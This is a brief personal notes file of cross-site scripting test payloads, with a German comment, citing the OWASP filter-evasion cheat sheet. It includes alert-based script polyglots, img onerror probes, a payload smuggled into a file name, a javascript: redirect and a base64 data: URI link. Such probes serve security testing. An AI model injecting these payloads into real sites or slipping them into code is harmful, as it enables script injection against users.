xss.txt

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet


';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

'';!--"<XSS>=&{()}

google test string: >'>"><img src=x onerror=alert(0)>


echo  123 > "<img scr=x%2F onerror=alert(1)>.docx"

advanced:
<script>
      setTimeout(function() { window.location = 'index.html'; }, 5000);
</script>

Wenn man index.html selbst setzen kann (z. B. durch ?next=index.html) und das automatisch aufgerufen wird geht auch (auch wenn 'index.html' escaped wird)

setTimeout(function() { window.location = 'javascript:alert(1)'; }, 5000);
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">Click!</a